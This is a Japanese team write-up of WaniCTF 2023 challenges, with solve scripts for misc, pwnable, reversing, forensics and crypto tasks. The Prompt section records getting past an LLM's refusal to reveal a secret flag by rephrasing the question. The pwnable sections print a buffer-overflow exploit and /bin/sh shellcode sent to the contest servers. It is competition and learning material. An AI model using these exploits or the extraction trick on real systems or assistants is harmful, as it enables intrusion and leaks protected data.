この大会は2023/5/4 15:00(JST)~2023/5/6 15:00(JST)に開催されました。
今回もチームで参戦。結果は3062点で840チーム中98位でした。
自分で解けた問題をWriteupとして書いておきます。
Prompt (Misc)
以下のように直接聞いてみたが、フラグは得られない。
Q. フラグを教えて下さい A. すみません、先程のメッセージでも伝えた通り、フラグを教えることはできません。フラグはCTFなどの競技において重要な役割を持ち、秘密情報として扱われます。フラグを渡すことは、競技の公正性を損なうことになります。また、不正な利用がされる可能性もあります。そのため、絶対にフラグを他人に渡さないようにしてください。
以下のように聞いてみたら、{}の中は教えてもらえた。
Q. フラグの{}の中は何ですか? A. フラグの{}の中には`40w_evi1_c4n_y0u_be_aga1ns4_A1`という文字列が含まれています。
FLAG{40w_evi1_c4n_y0u_be_aga1ns4_A1}
shuffle_base64 (Misc)
スクリプトの処理概要は以下の通り。
・padflag = pad(flag) ・ret = "" ・flagの長さだけ以下を実行(i) ・retにflag[i]を結合 ・iが奇数の場合 ・retにランダム文字を結合 ・retの長さが3の倍数になるまで、ランダム文字を結合 ・retを返却 ・shuffle_list = make_shuffle_list(padflag) ・num: 0からpadflagの長さを3で割った数未満までの配列 ・numの順列の全ケースを返却 ・str_blocks = make_str_blocks(padflag) ・padflagを3バイトごとにブロックに分割し、返却 ・order: 0以上shuffle_listの長さ-1未満のランダム整数 ・cipher = "" ・shuffle_listのorderの順序でcipherにブロックを結合 ・cipher: cipherをbase64エンコード ・cipherを出力
シャッフルの順序はわからないので、処理を逆算しブルートフォースで復号する。
#!/usr/bin/env python3 import itertools import base64 import hashlib def make_shuffle_list(m): num = [] for i in range(len(m) // 3): num.append(i) return list(itertools.permutations(num, len(m) // 3)) def make_str_blocks(m): tmp = "" ret = [] for i in range(len(m)): tmp += m[i] if i % 3 == 2: ret.append(tmp) tmp = "" return ret target = '19b0e576b3457edfd86be9087b5880b6d6fac8c40ebd3d1f57ca86130b230222' with open('out.txt', 'r') as f: cipher = eval(f.read().split(' ')[-1]) cipher = base64.b64decode(cipher).decode() cipher_blocks = [cipher[i:i+3] for i in range(0, len(cipher), 3)] shuffle_list = make_shuffle_list(cipher) for lst in shuffle_list: padflag = [''] * (len(lst)) for i in range(len(lst)): padflag[lst[i]] = cipher_blocks[i] padflag = ''.join(padflag) flag = '' for i in range(0, len(padflag), 3): flag += padflag[i:i+2] flag = flag[:flag.index('}') + 1] if hashlib.sha256(flag.encode()).hexdigest() == target: print(flag) break
FLAG{shuffle64}
Guess (Misc)
サーバの処理概要は以下の通り。
・ANSWER: 10000未満のリスト ・ANSWERをシャッフル ・CHANCE = 15 ・以下繰り返し ・choice: 数値入力 ・choiceが1の場合 ・result = peep() ・CHANCEが0以下の場合、終了 ・CHANCEをマイナス1 ・index: スペース区切りで数値入力したものの配列 ・result: ANSWERのindexの各値に対応する順に並べ替えた配列 ・resultをシャッフル ・resultを返却 ・resultを表示 ・choiceが2の場合 ・guess() ・guess: スペース区切りで数値入力したものの配列 ・guessがANSWERと一致している場合、フラグを表示
CHANCEは15回だが、peep()で指定するindexの数に制限はない。以下のように各indexごとに異なる個数を指定し、その結果出現回数により各インデックスの数値を割り出す。
1 2 2 3 3 3 4 4 4 4 ...
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('guess-mis.wanictf.org', 50018)) guess = [] for i in range(15): base = i * 667 index = '' for j in range(667): if base + j < 10000: for k in range(j + 1): index += str(base + j) + ' ' index = index[:-1] data = recvuntil(s, b'> ') print(data + '1') s.sendall(b'1\n') data = recvuntil(s, b'> ') print(data + index) s.sendall(index.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) result = eval(data) dic = {} for num in result: if num not in dic: dic[num] = 1 else: dic[num] += 1 for k, v in sorted(dic.items(), key=lambda x:x[1]): guess.append(k) guess = ' '.join([str(n) for n in guess]) data = recvuntil(s, b'> ') print(data + '2') s.sendall(b'2\n') data = recvuntil(s, b'> ') print(data + guess) s.sendall(guess.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
1: peep 2: guess > 1 index> 0 1 1 2 2 2 3 3 3 3 4 4 4 4 4 5 5 5 5 5 5 6 6 6 6 6 6 6 7 7 7 7 7 7 7 7 8 8 8 8 8 8 8 8 8 ... [5906, 1589, 4327, 6817, 9618, 5170, 5006, 5535, 3892, 8382, 8613, 8516, 2782, 1944, 5691, 3996, ... : : 1: peep 2: guess > 2 Guess the list> 9201 6590 7335 6895 9081 968 1289 1554 9983 7561 4201 56 8924 9082 1418 6174 303 9079 7481 ... 5307 7406 6290 8291 1788 6081 6589 6751 4789 243 1260 9326 7691 3455 3474 4574 4786 8675 FLAG{How_did_you_know?_10794fcf171f8b2}
FLAG{How_did_you_know?_10794fcf171f8b2}
01. netcat (Pwnable)
$ nc netcat-pwn.wanictf.org 9001 +-----------------------------------------+ | your score: 0, remaining 100 challenges | +-----------------------------------------+ 668 + 242 =
計算問題に答えていき、OSコマンドを実行してフラグを得る。
$ nc netcat-pwn.wanictf.org 9001 +-----------------------------------------+ | your score: 0, remaining 100 challenges | +-----------------------------------------+ 668 + 242 = 910 Cool! +-----------------------------------------+ | your score: 1, remaining 99 challenges | +-----------------------------------------+ 967 + 419 = 1386 Cool! +-----------------------------------------+ | your score: 2, remaining 98 challenges | +-----------------------------------------+ 795 + 706 = 1501 Cool! Congrats! ls FLAG chall redir.sh cat FLAG FLAG{1375_k339_17_u9_4nd_m0v3_0n_2_7h3_n3x7!}
FLAG{1375_k339_17_u9_4nd_m0v3_0n_2_7h3_n3x7!}
02. only once (Pwnable)
普通に入力すると、1回した挑戦できないが、challの値を上書きして、3回以上挑戦できるようにする。
$ nc only-once-pwn.wanictf.org 9002 +---------------------------------------+ | your score: 0, remaining 1 challenges | +---------------------------------------+ 261 + 360 = 11111111 Oops... +---------------------------------------+ | your score: 0, remaining -1 challenges | +---------------------------------------+ 925 + 270 = 1195 Cool! +---------------------------------------+ | your score: 1, remaining -2 challenges | +---------------------------------------+ 792 + 431 = 1223 Cool! +---------------------------------------+ | your score: 2, remaining -3 challenges | +---------------------------------------+ 625 + 92 = 717 Cool! Congrats! ls FLAG chall redir.sh cat FLAG FLAG{y0u_4r3_600d_47_c41cu14710n5!}
FLAG{y0u_4r3_600d_47_c41cu14710n5!}
03. ret2win (Pwnable)
BOFでwin関数をコールできればよい。
$ gdb -q ./chall Reading symbols from ./chall... (No debugging symbols found in ./chall) gdb-peda$ p &win $1 = (<text variable, no debug info> *) 0x401369 <win> gdb-peda$ q ctf@ctf-virtual-machine3:/mnt/hgfs/Shared$ gdb -q ./chall Reading symbols from ./chall... (No debugging symbols found in ./chall) gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r Starting program: /mnt/hgfs/Shared/chall [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Let's overwrite the target address with that of the win function! ############################################# # stack state # ############################################# hex string +--------------------+----------+ +0x00 | 0x0000000000000000 | ........ | +--------------------+----------+ +0x08 | 0x0000000000000000 | ........ | +--------------------+----------+ +0x10 | 0x0000000000000000 | ........ | +--------------------+----------+ +0x18 | 0x0000000000000000 | ........ | +--------------------+----------+ +0x20 | 0x0000000000000001 | ........ | +--------------------+----------+ +0x28 | 0x00007ffff7c29d90 | ........ | <- TARGET!!! +--------------------+----------+ your input (max. 48 bytes) > AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Program received signal SIGSEGV, Segmentation fault. Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled off'. Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled on'. [----------------------------------registers----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7d14992 (<__GI___libc_read+18>: cmp rax,0xfffffffffffff000) RDX: 0x0 RSI: 0x7fffffffde50 ("AAA%AAsAABAA$AA"...) RDI: 0x0 RBP: 0x6141414541412941 (b'A)AAEAAa') RSP: 0x7fffffffde78 ("AA0AAFAA") RIP: 0x401476 (<main+231>: ret) R8 : 0x1d R9 : 0x7fffffffbbc6 --> 0x7f61e4c4e4000000 R10: 0x7ffff7c065e8 --> 0xf001200001a64 R11: 0x246 R12: 0x7fffffffdf88 --> 0x7fffffffe2d1 ("/mnt/hgfs/Share"...) R13: 0x40138f (<main>: endbr64) R14: 0x403e18 --> 0x4011a0 (<__do_global_dtors_aux>: endbr64) R15: 0x7ffff7ffd040 --> 0x7ffff7ffe2e0 --> 0x0 [------------------------------------code-------------------------------------] Display various information of current execution context Usage: context [reg,code,stack,all] [code/stack length] 0x0000000000401476 in main () gdb-peda$ bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Undefined command: "bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL". Try "help". gdb-peda$ patto AA0AAFAA AA0AAFAA found at offset: 40
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('ret2win-pwn.wanictf.org', 9003) else: p = process('./chall') elf = ELF('./chall') win_addr = elf.symbols['win'] payload = b'A' * 40 payload += p64(win_addr) data = p.recvuntil(b'> ').decode() print(data, end='') print(payload) p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to ret2win-pwn.wanictf.org on port 9003: Done [*] '/mnt/hgfs/Shared/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Let's overwrite the target address with that of the win function! ############################################# # stack state # ############################################# hex string +--------------------+----------+ +0x00 | 0x0000000000000000 | ........ | +--------------------+----------+ +0x08 | 0x0000000000000000 | ........ | +--------------------+----------+ +0x10 | 0x0000000000000000 | ........ | +--------------------+----------+ +0x18 | 0x0000000000000000 | ........ | +--------------------+----------+ +0x20 | 0x0000000000000001 | ........ | +--------------------+----------+ +0x28 | 0x00007fe067bb6d90 | ....g.m. | <- TARGET!!! +--------------------+----------+ your input (max. 48 bytes) > b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAi\x13@\x00\x00\x00\x00\x00' [*] Switching to interactive mode $ ls FLAG chall redir.sh $ cat FLAG FLAG{f1r57_5739_45_4_9wn3r}
FLAG{f1r57_5739_45_4_9wn3r}
04. shellcode_basic (Pwnable)
シェルコードを入力すると、そのコードを実行できる。https://shell-storm.org/shellcode/files/shellcode-806.htmlのシェルコードを使う。
#!/usr/bin/env python3 from pwn import * p = remote('shell-basic-pwn.wanictf.org', 9004) payload = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' print(payload) p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to shell-basic-pwn.wanictf.org on port 9004: Done b'1\xc0H\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xffH\xf7\xdbST_\x99RWT^\xb0;\x0f\x05' [*] Switching to interactive mode $ ls FLAG chall redir.sh $ cat FLAG FLAG{NXbit_Blocks_shellcode_next_step_is_ROP}
FLAG{NXbit_Blocks_shellcode_next_step_is_ROP}
Just_Passw0rd (Reversing)
$ strings just_password | grep FLAG FLAG is FLAG{1234_P@ssw0rd_admin_toor_qwerty}
FLAG{1234_P@ssw0rd_admin_toor_qwerty}
fermat (Reversing)
Ghidraでデコンパイルする。
undefined8 main(void) { char cVar1; long in_FS_OFFSET; uint local_1c; uint local_18; uint local_14; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); printf("Input a> "); __isoc99_scanf(&DAT_0010200e,&local_1c); printf("Input b> "); __isoc99_scanf(&DAT_0010200e,&local_18); printf("Input c> "); __isoc99_scanf(&DAT_0010200e,&local_14); printf("(a, b, c) = (%u, %u, %u)\n",(ulong)local_1c,(ulong)local_18,(ulong)local_14); cVar1 = check(local_1c,local_18,local_14); if (cVar1 == '\0') { puts("Invalid value :("); } else { puts("wow :o"); print_flag(); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; } undefined8 check(uint param_1,uint param_2,uint param_3) { undefined8 uVar1; if (((param_1 < 3) || (param_2 < 3)) || (param_3 < 3)) { uVar1 = 0; } else if (param_1 * param_1 * param_1 + param_2 * param_2 * param_2 == param_3 * param_3 * param_3) { uVar1 = 1; } else { uVar1 = 0; } return uVar1; }
整数の3乗の和が整数の3乗になることはないので、条件を満たすことはできない。
アセンブリの以下の部分をNOPに書き換え、実行する。
001014c7 74 18 JZ LAB_001014e1
$ ./fermat_patch Input a> 1 Input b> 2 Input c> 3 (a, b, c) = (1, 2, 3) wow :o FLAG{you_need_a_lot_of_time_and_effort_to_solve_reversing_208b47bd66c2cd8}
FLAG{you_need_a_lot_of_time_and_effort_to_solve_reversing_208b47bd66c2cd8}
javersing (Reversing)
Bytecode Viewerでデコンパイルする。
import java.util.Scanner; public class javersing { public static void main(String[] var0) { String var1 = "Fcn_yDlvaGpj_Logi}eias{iaeAm_s"; boolean var2 = true; Scanner var3 = new Scanner(System.in); System.out.println("Input password: "); String var4 = var3.nextLine(); var4 = String.format("%30s", var4).replace(" ", "0"); for(int var5 = 0; var5 < 30; ++var5) { if (var4.charAt(var5 * 7 % 30) != var1.charAt(var5)) { var2 = false; } } if (var2) { System.out.println("Correct!"); } else { System.out.println("Incorrect..."); } } }
各文字について、一定のアルゴリズムで転置しているので、逆算して復号する。
#!/usr/bin/env python3 ct = 'Fcn_yDlvaGpj_Logi}eias{iaeAm_s' flag = [''] * 30 for i in range(30): flag[i * 7 % 30] = ct[i] flag = ''.join(flag) print(flag)
FLAG{Decompiling_java_is_easy}
theseus (Reversing)
Ghidraでデコンパイルする。
undefined8 main(void) { char cVar1; int iVar2; undefined8 uVar3; long in_FS_OFFSET; int local_68; int local_64; int local_60; char local_48 [56]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); iVar2 = getpagesize(); mprotect((void *)((long)-iVar2 & 0x1011e9),(long)iVar2,7); printf("Input flag: "); __isoc99_scanf(&DAT_00102011,local_48); local_68 = 0; for (local_64 = 0; local_64 < 0x1a; local_64 = local_64 + 1) { if (3 < local_64) { local_68 = (local_64 * 0xb) % 0xf; } cVar1 = (char)local_68; if (local_64 < 8) { compare[local_64 + 0x25] = (code)((char)compare[local_64 + 0x25] + cVar1); } else if (local_64 < 0x10) { compare[local_64 + 0x27] = (code)((char)compare[local_64 + 0x27] + cVar1); } else if (local_64 < 0x18) { compare[local_64 + 0x31] = (code)((char)compare[local_64 + 0x31] + cVar1); } else { compare[local_64 + 0x39] = (code)((char)compare[local_64 + 0x39] + cVar1); } } local_60 = 0; do { if (0x19 < local_60) { puts("Correct!"); uVar3 = 0; LAB_00101478: if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar3; } iVar2 = compare((int)local_48[local_60],local_60); if (iVar2 == 0) { puts("Incorrect."); uVar3 = 1; goto LAB_00101478; } local_60 = local_60 + 1; } while( true ); } bool compare(char param_1,int param_2) { long in_FS_OFFSET; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined2 local_20; undefined local_1e; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_38 = 0x41456c6d47414c46; local_30 = 0x5f662c60692e6866; local_28 = 0x24635e573f72294e; local_20 = 0x786b; local_1e = 0; if (*(long *)(in_FS_OFFSET + 0x28) != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return param_1 == *(char *)((long)&local_38 + (long)param_2); } ************************************************************** * FUNCTION * ************************************************************** undefined compare() undefined AL:1 <RETURN> undefined8 Stack[-0x10]:8 local_10 XREF[2]: 00101206(W), 0010125b(R) undefined1 Stack[-0x1e]:1 local_1e XREF[1]: 0010123c(W) undefined2 Stack[-0x20]:2 local_20 XREF[1]: 00101236(W) undefined8 Stack[-0x28]:8 local_28 XREF[1]: 00101232(W) undefined8 Stack[-0x30]:8 local_30 XREF[1]: 00101224(W) undefined8 Stack[-0x38]:8 local_38 XREF[1]: 00101220(W) undefined1 Stack[-0x3c]:1 local_3c XREF[2]: 001011fa(W), 0010124a(R) undefined4 Stack[-0x40]:4 local_40 XREF[2]: 001011f7(W), 00101240(R) compare XREF[6]: Entry Point(*), main:00101294(*), main:0010129b(*), main:00101441(c), 00102054, 00102108(*) 001011e9 f3 0f 1e fa ENDBR64 001011ed 55 PUSH RBP 001011ee 48 89 e5 MOV RBP,RSP 001011f1 48 83 ec 40 SUB RSP,0x40 001011f5 89 f8 MOV EAX,EDI 001011f7 89 75 c8 MOV dword ptr [RBP + local_40],ESI 001011fa 88 45 cc MOV byte ptr [RBP + local_3c],AL 001011fd 64 48 8b MOV RAX,qword ptr FS:[0x28] 04 25 28 00 00 00 00101206 48 89 45 f8 MOV qword ptr [RBP + local_10],RAX 0010120a 31 c0 XOR EAX,EAX LAB_0010120c+2 XREF[0,4]: main:00101361(R), LAB_0010120c+4 main:0010137b(W), main:00101398(R), main:001013b2(W) 0010120c 48 b8 46 MOV RAX,0x41456c6d47414c46 4c 41 47 6d 6c 45 41 LAB_00101216+4 XREF[0,2]: main:001013cc(R), main:001013e6(W) 00101216 48 ba 66 MOV RDX,0x5f662c60692e6866 68 2e 69 60 2c 66 5f LAB_00101220+2 XREF[0,2]: main:001013fa(R), main:00101414(W) 00101220 48 89 45 d0 MOV qword ptr [RBP + local_38],RAX 00101224 48 89 55 d8 MOV qword ptr [RBP + local_30],RDX 00101228 48 b8 4e MOV RAX,0x24635e573f72294e 29 72 3f 57 5e 63 24 00101232 48 89 45 e0 MOV qword ptr [RBP + local_28],RAX 00101236 66 c7 45 MOV word ptr [RBP + local_20],0x786b e8 6b 78
compareで文字列の指定インデックスの文字と比較しているが、mainの中でその文字列を変えていることに注意して文字列を復元する。
#!/usr/bin/env python3 with open('chall', 'rb') as f: code = f.read()[0x11e9:0x11e9+83] code = list(code) v = 0 for i in range(26): if i > 3: v = (i * 0xb) % 0xf if i < 8: code[i + 0x25] = (code[i + 0x25] + v) % 256 elif i < 0x10: code[i + 0x27] = (code[i + 0x27] + v) % 256 elif i < 0x18: code[i + 0x31] = (code[i + 0x31] + v) % 256 else: code[i + 0x39] = (code[i + 0x39] + v) % 256 flag = bytes(code[0x25:0x25+8]) flag += bytes(code[0x27+8:0x27+16]) flag += bytes(code[0x31+16:0x31+24]) flag += bytes(code[0x39+24:0x39+26]) flag = flag.decode() print(flag)
FLAG{vKCsq3jl4j_Y0uMade1t}
IndexedDB (Web)
$ curl https://indexeddb-web.wanictf.org/ <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> </head> <body> </body> <script> var connection; window.onload = function () { var openRequest = indexedDB.open("testDB"); openRequest.onupgradeneeded = function () { connection = openRequest.result; var objectStore = connection.createObjectStore("testObjectStore", { keyPath: "name", }); objectStore.put({ name: "FLAG{y0u_c4n_u3e_db_1n_br0wser}" }); }; openRequest.onsuccess = function () { connection = openRequest.result; }; window.location = "1ndex.html"; }; </script> </html>
FLAG{y0u_c4n_u3e_db_1n_br0wser}
Just_mp4 (Forensics)
$ strings --encoding=l chall.mp4 flag_base64:RkxBR3tINHYxbl9mdW5fMW5uMXR9 $ echo RkxBR3tINHYxbl9mdW5fMW5uMXR9 | base64 -d FLAG{H4v1n_fun_1nn1t}
FLAG{H4v1n_fun_1nn1t}
whats_happening (Forensics)
バイナリエディタで見ると、pngデータが見つかるので、切り出す。
$ foremost updog Processing: updog |*|
切り出したpngファイルの画像にフラグが書いてあった。
FLAG{n0th1ng_much}
lowkey_messedup (Forensics)
USBキーボードの通信らしい。Leftover Capture Dataの並びを見て推測する。8バイトのデータで以下の箇所を確認してキーを判定する。
・0バイト目:00->シフトキー押下なし、02->シフトキー押下あり ・2バイト目:対応するキーのコード
そのままだとscapyが認識しないので、pcapngで保存してキーを読み取る。
#!/usr/bin/env python3 from scapy.all import * keymap = { 0x04: ('a', 'A'), 0x05: ('b', 'B'), 0x06: ('c', 'C'), 0x07: ('d', 'D'), 0x08: ('e', 'E'), 0x09: ('f', 'F'), 0x0a: ('g', 'G'), 0x0b: ('h', 'H'), 0x0c: ('i', 'I'), 0x0d: ('j', 'J'), 0x0e: ('k', 'K'), 0x0f: ('l', 'L'), 0x10: ('m', 'M'), 0x11: ('n', 'N'), 0x12: ('o', 'O'), 0x13: ('p', 'P'), 0x14: ('q', 'Q'), 0x15: ('r', 'R'), 0x16: ('s', 'S'), 0x17: ('t', 'T'), 0x18: ('u', 'U'), 0x19: ('v', 'V'), 0x1a: ('w', 'W'), 0x1b: ('x', 'X'), 0x1c: ('y', 'Y'), 0x1d: ('z', 'Z'), 0x1e: ('1', '!'), 0x1f: ('2', '@'), 0x20: ('3', '#'), 0x21: ('4', '$'), 0x22: ('5', '%'), 0x23: ('6', '^'), 0x24: ('7', '&'), 0x25: ('8', '*'), 0x26: ('9', '('), 0x27: ('0', ')'), 0x28: ('\x0a', '\x0a'), 0x29: ('\x1b', '\x1b'), 0x2a: ('\x08', '\x08'), 0x2b: ('\x09', '\x09'), 0x2c: ('\x20', '\x20'), 0x2d: ('-', '_'), 0x2e: ('=', '+'), 0x2f: ('[', '{'), 0x30: (']', '}'), 0x31: ('\\', '|'), 0x33: (';', ':'), 0x34: ('\'', '\"'), 0x35: ('`', '~'), 0x36: (',', '<'), 0x37: ('.', '>'), 0x38: ('/', '?')} packets = rdpcap('chall.pcapng') flag = '' for p in packets: buf = p['Raw'].load if len(buf) == 35 and buf[29] != 0: if buf[27] == 0: flag += keymap[buf[29]][0] elif buf[27] == 2: flag += keymap[buf[29]][1] print(flag)
FLAG{Big_br0ther_is_watching_y0ur_keyb0ard}
beg_for_a_peg (Forensics)
No.31に「GET /flag.jpg」のパケットがある。このパケットを含むTCP Streamを見る。No.40~77のContinuationのデータをエクスポートし、結合する。
$ cat *.bin > flag.jpg
結合したjpg画像にフラグが書いてあった。
FLAG{Hug_a_pug_less_than_three}
Apocalypse (Forensics)
TweakPNGで確認すると、3つ目のIDATチャンクのCRCがおかしいことがわかる。このIDATチャンクのデータにIENDチャンクがあり、改変されていると推測できる。適当なデータにしてみて、ペイントで表示すると、完全な復元ではないがフラグが表示された。
#!/usr/bin/env python3 with open('chall.png', 'rb') as f: data = f.read() iend0 = data.index(b'IEND') out = data[:iend0 - 4] out += b'\x00' * 12 out += data[iend0 + 8:] with open('chall_fix.png', 'wb') as f: f.write(out)
FLAG{Watch_out_4_2023_21036}
EZDORSA_Lv1 (Crypto)
通常通り復号し、指定されたフラグの形式にする。
#!/usr/bin/env python3 from Crypto.Util.number import * p = 3 q = 5 n = p * q e = 65537 c = 10 phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = 'FLAG{THE_ANSWER_IS_%d}' % m print(flag)
FLAG{THE_ANSWER_IS_10}
EZDORSA_Lv2 (Crypto)
RSA暗号。式を変形する。
c = pow(bytes_to_long(m), e, n) * pow(5, 100, n) ↓ pow(bytes_to_long(m), e, n) = c * inverse(pow(5, 100, n), n) % n
eは7で小さいので、上記の右辺の値について、Low Public-Exponent Attackで復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * import gmpy2 with open('out.txt', 'r') as f: params = f.read().splitlines() n = int(params[0].split(' ')[-1]) e = int(params[1].split(' ')[-1]) c = int(params[2].split(' ')[-1]) c2 = c * inverse(pow(5, 100, n), n) % n m, success = gmpy2.iroot(c2, e) assert success == True flag = long_to_bytes(m).decode() print(flag)
FLAG{l0w_3xp0n3nt_4ttAck}
EZDORSA_Lv3 (Crypto)
$ python3 -m primefac 22853745492099501680331664851090320356693194409008912025285744113835548896248217185831291330674631560895489397035632880512495471869393924928607517703027867997952256338572057344701745432226462452353867866296639971341288543996228186264749237402695216818617849365772782382922244491233481888238637900175603398017437566222189935795252157020184127789181937056800379848056404436489263973129205961926308919968863129747209990332443435222720181603813970833927388815341855668346125633604430285047377051152115484994149044131179539756676817864797135547696579371951953180363238381472700874666975466580602256195404619923451450273257882787750175913048168063212919624027302498230648845775927955852432398205465850252125246910345918941770675939776107116419037 22853745492099501680331664851090320356693194409008912025285744113835548896248217185831291330674631560895489397035632880512495471869393924928607517703027867997952256338572057344701745432226462452353867866296639971341288543996228186264749237402695216818617849365772782382922244491233481888238637900175603398017437566222189935795252157020184127789181937056800379848056404436489263973129205961926308919968863129747209990332443435222720181603813970833927388815341855668346125633604430285047377051152115484994149044131179539756676817864797135547696579371951953180363238381472700874666975466580602256195404619923451450273257882787750175913048168063212919624027302498230648845775927955852432398205465850252125246910345918941770675939776107116419037: 28151399 22542229 19148609 17933647 18613019 21580043 19803209 18230213 26839909 18901951 28082749 22733041 29979379 17137009 19022077 23869933 30461393 26119147 22491913 32831261 32709977 17045117 21781139 31108043 32737429 22374509 17027027 30419063 22407799 27801167 33472771 19574987 30049171 28103563 27491137 33388603 30013391 24848633 23033441 24454291 18947729 22537409 23083759 24089029 21982481 24468209 28620611 20590697 27304777 18868781 24436597 18505933 30625601 32687509 16969003 20690983 29738689 32307589 31123457 27647687 30162343 27152267 24027973 22101437 23563571 21425317 21499631 23179243 21622099 17685739 23342663 17151529 31004861 32628367 23049673 22367311 31269479 25564219 17009203 29891363 21707797 17495507 27316717 31387957 30007841 31384663 31469279 18206689 21792359 32432339 22550677 32715343 29035709 23611043 32703337 26055889 31390189 25888721 32514061 33418129
あとは通常通り復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * with open('out.txt', 'r') as f: params = f.read().splitlines() n = int(params[0].split(' ')[-1]) e = int(params[1].split(' ')[-1]) c = int(params[2].split(' ')[-1]) primes = [ 28151399, 22542229, 19148609, 17933647, 18613019, 21580043, 19803209, 18230213, 26839909, 18901951, 28082749, 22733041, 29979379, 17137009, 19022077, 23869933, 30461393, 26119147, 22491913, 32831261, 32709977, 17045117, 21781139, 31108043, 32737429, 22374509, 17027027, 30419063, 22407799, 27801167, 33472771, 19574987, 30049171, 28103563, 27491137, 33388603, 30013391, 24848633, 23033441, 24454291, 18947729, 22537409, 23083759, 24089029, 21982481, 24468209, 28620611, 20590697, 27304777, 18868781, 24436597, 18505933, 30625601, 32687509, 16969003, 20690983, 29738689, 32307589, 31123457, 27647687, 30162343, 27152267, 24027973, 22101437, 23563571, 21425317, 21499631, 23179243, 21622099, 17685739, 23342663, 17151529, 31004861, 32628367, 23049673, 22367311, 31269479, 25564219, 17009203, 29891363, 21707797, 17495507, 27316717, 31387957, 30007841, 31384663, 31469279, 18206689, 21792359, 32432339, 22550677, 32715343, 29035709, 23611043, 32703337, 26055889, 31390189, 25888721, 32514061, 33418129] phi = 1 for p in primes: phi *= p - 1 d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
FLAG{fact0r1z4t10n_c4n_b3_d0n3_3as1ly}
pqqp (Crypto)
RSA暗号で、追加で以下の情報がある。
s = (pow(p, q, n) + pow(q, p, n)) % n
この式を変換してヒントを得る。
s % p = (pow(p, q, p) + pow(q, p, p)) % p = pow(q, p, p) = pow(q, p - 1, p) * q % p = q % p ↓ s = p + q ↓ q = s - p
これで2次方程式にして、pを求める。qもわかるので、あとは通常通り復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * import sympy with open('output.txt', 'r') as f: params = f.read().splitlines() n = int(params[0]) e = int(params[1]) c = int(params[2]) s = int(params[3]) p = sympy.Symbol('p') q = s - p eq = p * q - n ans = sympy.solve(eq) p = int(ans[0]) q = int(ans[1]) assert p * q == n phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
FLAG{p_q_p_q_521d0bd0c28300f}